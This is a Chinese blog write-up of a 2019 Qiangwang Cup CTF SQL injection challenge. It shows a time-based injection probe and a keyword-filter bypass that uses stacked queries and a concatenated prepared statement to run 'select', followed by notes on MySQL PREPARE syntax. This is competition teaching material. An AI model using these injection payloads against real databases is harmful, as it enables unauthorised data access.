2019强网杯-随便注

Posted by CoCo1er on 2019-09-02
Words 231 and Reading Time 1 Minutes
Viewed Times

随便注

writeup

​ 这是来自2019强网杯的一道注入题。

inject=1’ and sleep(3) —+ 发现可以执行延时,难道可以直接盲注? 直接上sqlmap

可以跑出来库名,但是跑不出表名,手动测试发现过滤了关键字。

即不用select注入。并且大小写无法绕过,想到用拼接的方式构造select,这里测试发现能够执行多语句。

于是可以用预编译的方式来执行一个变量语句,而这个变量语句可以通过字符串连接构造出select

1
2
3
4
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

补充

Mysql预编译

  • 编译

    • PREPARE stmt_name FROM preparable_stm——预编译一条语句
  • 执行

    • EXECUTE stmt_name [USING @var_name [, @var_name] ...]

      eg

    1
    2
    3
    set @a=999,@b='hello';
    prepare ins from 'insert into t select ?,?';
    execute ins using @a,@b;
  • 释放

    • {DEALLOCATE | DROP} PREPARE stmt_name

    eg

    1
    deallocate prepare ins;